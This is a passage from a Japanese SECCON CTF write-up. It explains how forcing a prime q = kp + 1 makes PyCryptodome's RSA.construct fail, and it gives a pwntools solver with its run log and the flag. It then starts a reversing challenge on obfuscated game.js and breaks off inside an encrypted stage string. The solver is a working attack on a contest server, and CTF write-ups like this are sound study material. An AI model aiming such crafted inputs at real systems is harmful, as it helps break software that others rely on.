&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">k&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">Integer&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">t&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># Cycle through all values a^{t*2^i}=a^k&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">while&lt;/span> &lt;span class="n">k&lt;/span> &lt;span class="o">&amp;lt;&lt;/span> &lt;span class="n">ktot&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">cand&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">pow&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">a&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">k&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">n&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># Check if a^k is a non-trivial root of unity (mod n)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="n">cand&lt;/span> &lt;span class="o">!=&lt;/span> &lt;span class="mi">1&lt;/span> &lt;span class="ow">and&lt;/span> &lt;span class="n">cand&lt;/span> &lt;span class="o">!=&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">n&lt;/span> &lt;span class="o">-&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="ow">and&lt;/span> &lt;span class="nb">pow&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">cand&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">2&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">n&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># We have found a number such that (cand-1)(cand+1)=0 (mod n).&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># Either of the terms divides n.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">p&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">Integer&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">n&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">gcd&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">cand&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">spotted&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="kc">True&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">break&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">k&lt;/span> &lt;span class="o">*=&lt;/span> &lt;span class="mi">2&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># This value was not any good... let&amp;#39;s try another!&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">a&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="mi">2&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">if&lt;/span> &lt;span class="ow">not&lt;/span> &lt;span class="n">spotted&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">raise&lt;/span> &lt;span class="ne">ValueError&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;Unable to compute factors p and q from exponent d.&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Found !&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">assert&lt;/span> &lt;span class="p">((&lt;/span>&lt;span class="n">n&lt;/span> &lt;span class="o">%&lt;/span> &lt;span class="n">p&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">q&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">n&lt;/span> &lt;span class="o">//&lt;/span> &lt;span class="n">p&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">(&lt;/span>&lt;span class="n">省略&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">u&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">p&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">inverse&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">q&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">(&lt;/span>&lt;span class="n">省略&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">if&lt;/span> &lt;span class="n">u&lt;/span> &lt;span class="o">&amp;lt;=&lt;/span> &lt;span class="mi">1&lt;/span> &lt;span class="ow">or&lt;/span> &lt;span class="n">u&lt;/span> &lt;span class="o">&amp;gt;=&lt;/span> &lt;span class="n">q&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">raise&lt;/span> &lt;span class="ne">ValueError&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;Invalid RSA component u&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>
&lt;/figure>
&lt;p>このとき，$p, q$ の順番が正しく復元されるとは限らない．すなわち，実際の $p, q$ と復元された $p, q$ が逆になる場合がある．
そして，$q = kp + 1$ を満たすように $q$ を選ぶと，$p, q$ が逆になった際に，$u = 1$ となり，エラーが発生する．&lt;/p>
&lt;p>したがって，$q = kp + 1$ を満たす素数であり，RSA.constructがエラーになる $q$ を求めればよい．&lt;/p>
&lt;figure class="xCodeBlock">
&lt;figcaption class="xCodeBlock_title">solver.py&lt;/figcaption>
&lt;div class="xCodeBlock_code">&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">pwn&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="o">*&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">Crypto.Util.number&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">isPrime&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">getRandomNBitInteger&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">getPrime&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">Crypto.PublicKey&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">RSA&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">context&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">log_level&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s2">&amp;#34;DEBUG&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">io&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">remote&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;yukari.seccon.games&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">15809&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">for&lt;/span> &lt;span class="n">i&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="nb">range&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">32&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">io&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">recvuntil&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="sa">b&lt;/span>&lt;span class="s2">&amp;#34;p = &amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">p&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">io&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">recvline&lt;/span>&lt;span class="p">()&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">strip&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">p&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">int&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">p&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">while&lt;/span> &lt;span class="kc">True&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">while&lt;/span> &lt;span class="kc">True&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">k&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">getRandomNBitInteger&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">256&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">q&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">k&lt;/span> &lt;span class="o">*&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">p&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="mi">1&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="n">q&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">bit_length&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="o">&amp;lt;&lt;/span> &lt;span class="mi">1024&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">continue&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="n">isPrime&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">q&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;found q!&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">break&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">e&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">getPrime&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">64&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">n&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">p&lt;/span> &lt;span class="o">*&lt;/span> &lt;span class="n">q&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">phi&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">p&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="o">*&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">q&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">d&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">pow&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">e&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="o">-&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">phi&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">try&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">cipher&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">RSA&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">construct&lt;/span>&lt;span class="p">((&lt;/span>&lt;span class="n">n&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">e&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">d&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">except&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;error q!&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">break&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">io&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">sendline&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">str&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">q&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">encode&lt;/span>&lt;span class="p">())&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">io&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">recvuntil&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="sa">b&lt;/span>&lt;span class="s2">&amp;#34;error!&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">io&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">interactive&lt;/span>&lt;span class="p">()&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>
&lt;/figure>
&lt;p>このコードを実行するとflagが得られる．&lt;/p>
&lt;pre tabindex="0">&lt;code>$ python solver.py
[x] Opening connection to yukari.seccon.games on port 15809
[x] Opening connection to yukari.seccon.games on port 15809: Trying 153.127.203.56
[+] Opening connection to yukari.seccon.games on port 15809: Done
[DEBUG] Received 0x13d bytes:
b&amp;#39;p = 115290483360278260033811613990171356939942353420003168424236199104740436485191271664438933159111631796573549066807142058623701829253122075608487395221447038171442133966756019947453192699851950053557302114931538729336576592323200617790240433497846797846208626407301363478261484882945469535531709682804614730201\n&amp;#39;
b&amp;#39;q: &amp;#39;
found q!
error q!
[DEBUG] Sent 0x182 bytes:
b&amp;#39;6766240932023983783758178301933852348026326197449686783194404784119609920097505814550914201350011050789825195682991581724553217517333981130288465849970324502468511659253038519208751278542592820682189691106741928540503099093307939277629926282422896868999002580467285509082694844499258196028199810120720113983454844027732569400574120177823374232283887018859897515609833622399024115790653\n&amp;#39;
(途中省略)
[DEBUG] Received 0x144 bytes:
b&amp;#39;error!\n&amp;#39;
b&amp;#39;p = 175572602114401709257036346479336928177327331318721831771483344438030585590842521234090538458846815951505472864559849044109253230905000202591966156158414217310746880675448088936449927008073917255819163360877486214626464299397266285899614879937226603576297492224099369270385619837837881048387440908685329083767\n&amp;#39;
b&amp;#39;q: &amp;#39;
found q!
error q!
[DEBUG] Sent 0x183 bytes:
b&amp;#39;18839108200343892970980721053977691859440941564153634521775117754495245808641694200040083725367415108183804030036506495399329125199007583766923167231407003115884736165506252490263051199945411022865662909563033180546418321430020984977318443449396503441228213875404515625912274778642769832852304472764910337059996594069991103480089774094736067178563233144621649542510165349881708957620233\n&amp;#39;
[DEBUG] Received 0x50 bytes:
b&amp;#39;error!\n&amp;#39;
b&amp;#39;SECCON{9cb27d297988cdae22deca33d5e54a6955d6f95a010c6aec737ff7509f4ac715}\n&amp;#39;
[*] Switching to interactive mode
SECCON{9cb27d297988cdae22deca33d5e54a6955d6f95a010c6aec737ff7509f4ac715}
[*] Got EOF while reading in interactive
&lt;/code>&lt;/pre>&lt;p>&lt;code>SECCON{9cb27d297988cdae22deca33d5e54a6955d6f95a010c6aec737ff7509f4ac715}&lt;/code>&lt;/p>
&lt;h2 id="reversing">Reversing&lt;/h2>
&lt;h3 id="breaking-out-235-solve-71">Breaking Out [235 Solve (71)]&lt;/h3>
&lt;blockquote>
&lt;p>There is something at stage 100.&lt;br>
breaking_out.tar.gz&lt;br>
├─ game.js&lt;br>
└─ index.html&lt;/p>
&lt;/blockquote>
&lt;p>難読化された&lt;code>game.js&lt;/code>ファイルが与えられる．実行は同階層にて以下を実行して，&lt;code>http://localhost:8000/&lt;/code>にアクセスすればよい．&lt;/p>
&lt;pre tabindex="0">&lt;code>$ python -m http.server 8000
&lt;/code>&lt;/pre>&lt;p>&lt;img src="https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/seccon-ctf-14/im01.png"
alt="This is a image"/>&lt;/p>
&lt;p>問題文よりステージ100に到達することがゴールであると推測されるが，ステージ番号をいじっても何も起こらない．
ステージ番号とステージ情報の読み込みは独立で行われているらしい．&lt;/p>
&lt;p>ステージをクリアした際に，以下の部分が実行される．&lt;/p>
&lt;pre tabindex="0">&lt;code>async[a0_0x9638eb(0x211)]() {
const _0x4fab65 = a0_0x9638eb;
this[_0x4fab65(0x214)] = !![];
const _0x59b60c = this[_0x4fab65(0x1c5)]();
this[_0x4fab65(0x259)] ? (this[_0x4fab65(0x23e)] = await this[_0x4fab65(0x256)](this[_0x4fab65(0x259)], _0x59b60c) || null,
this[_0x4fab65(0x259)] = this[_0x4fab65(0x23e)]?.[_0x4fab65(0x229)] || &amp;#39;&amp;#39;) : this[_0x4fab65(0x23e)] = null;
this[_0x4fab65(0x254)] += 0x1;
const _0x10c6b0 = !this[_0x4fab65(0x23e)] &amp;amp;&amp;amp; !this[_0x4fab65(0x259)];
_0x10c6b0 &amp;amp;&amp;amp; this[_0x4fab65(0x1f6)][_0x4fab65(0x237)]() === 0x0 ? (this[_0x4fab65(0x21b)](this[_0x4fab65(0x254)]),
this[_0x4fab65(0x1b8)] = !![],
this[_0x4fab65(0x1d9)][_0x4fab65(0x1c2)](_0x4fab65(0x1f2)),
this[_0x4fab65(0x1d9)][_0x4fab65(0x216)](!![]),
this[_0x4fab65(0x246)][_0x4fab65(0x216)](![]),
this[_0x4fab65(0x1f8)]()) : (this[_0x4fab65(0x21b)](this[_0x4fab65(0x254)]),
this[_0x4fab65(0x1d9)][_0x4fab65(0x1c2)](_0x4fab65(0x25a) + (this[_0x4fab65(0x254)] - 0x1) + _0x4fab65(0x267)),
this[_0x4fab65(0x1d9)][_0x4fab65(0x216)](!![]),
this[_0x4fab65(0x26b)](),
this[_0x4fab65(0x1f8)]());
}
&lt;/code>&lt;/pre>&lt;p>Chrome DevToolsでブレークポイントを設定して値を確認すると，
ステージ情報が格納されると思われる変数&lt;code>this[_0x4fab65(0x23e)]&lt;/code>に，次のステージ情報の暗号化であると思われる&lt;code>next&lt;/code>が確認できる．
また，この暗号化された次のステージ情報は&lt;code>this[_0x4fab65(0x259)]&lt;/code>に格納される．&lt;/p>
&lt;p>&lt;img src="https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/seccon-ctf-14/im02.png"
alt="This is a image"/>&lt;/p>
&lt;pre tabindex="0">&lt;code>this[_0x4fab65(0x23e)]: Object
ballSpeed: 640
brickHeight: 24
brickPadding: 10
brickWidth: 72
cols: 10
next: &amp;#34;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